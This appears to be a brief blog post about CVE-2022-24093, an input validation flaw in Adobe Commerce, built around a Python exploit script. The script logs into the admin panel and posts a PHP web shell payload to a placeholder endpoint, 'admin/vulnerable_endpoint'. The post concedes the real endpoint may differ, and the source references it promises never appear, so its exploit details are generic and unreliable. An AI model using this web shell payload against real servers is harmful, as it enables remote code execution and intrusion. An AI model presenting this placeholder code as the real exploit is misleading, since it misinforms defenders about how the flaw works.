Adobe Commerce, a popular e-commerce platform, is affected by an improper input validation vulnerability in its 2.4.3-p1 (and earlier) and 2.3.7-p2 (and earlier) versions. This vulnerability (CVE-2022-24093) is critical as it does not require any user interaction, and successful exploitation could result in post-authentication arbitrary code execution on the target system. In this post, we will discuss the details of this exploit, provide example code snippets, and reference the original sources.

Exploit Details

CVE-2022-24093 affects Adobe Commerce's ability to properly validate user input, allowing an attacker to inject malicious code that can be executed on the server. To exploit this vulnerability, an attacker only needs valid credentials to log into the Adobe Commerce administrative interface.

Here's a simple Python code snippet showing how this vulnerability can be exploited

import requests

# Attacker's target URL, username, and password
target_url = "https://target.com/";
username = "attacker_username"
password = "attacker_password"

# Login to the Adobe Commerce admin panel
login_url = target_url + "admin"
session = requests.Session()
login_data = {"username": username, "password": password}
response = session.post(login_url, data=login_data)

# Check for successful login
if "Magento" in response.text:
    print("[+] Login successful!")

# Exploit the improper input validation vulnerability
exploit_url = target_url + "admin/vulnerable_endpoint"
malicious_payload = "<?php system($_GET['cmd']); ?>"
exploit_data = {"data": malicious_payload}
response = session.post(exploit_url, data=exploit_data)

if response.status_code == 200:
    print("[+] Exploit successful!")
else:
    print("[-] Exploit failed.")

Note that the actual vulnerable endpoint and parameters may be different in real-world scenarios.
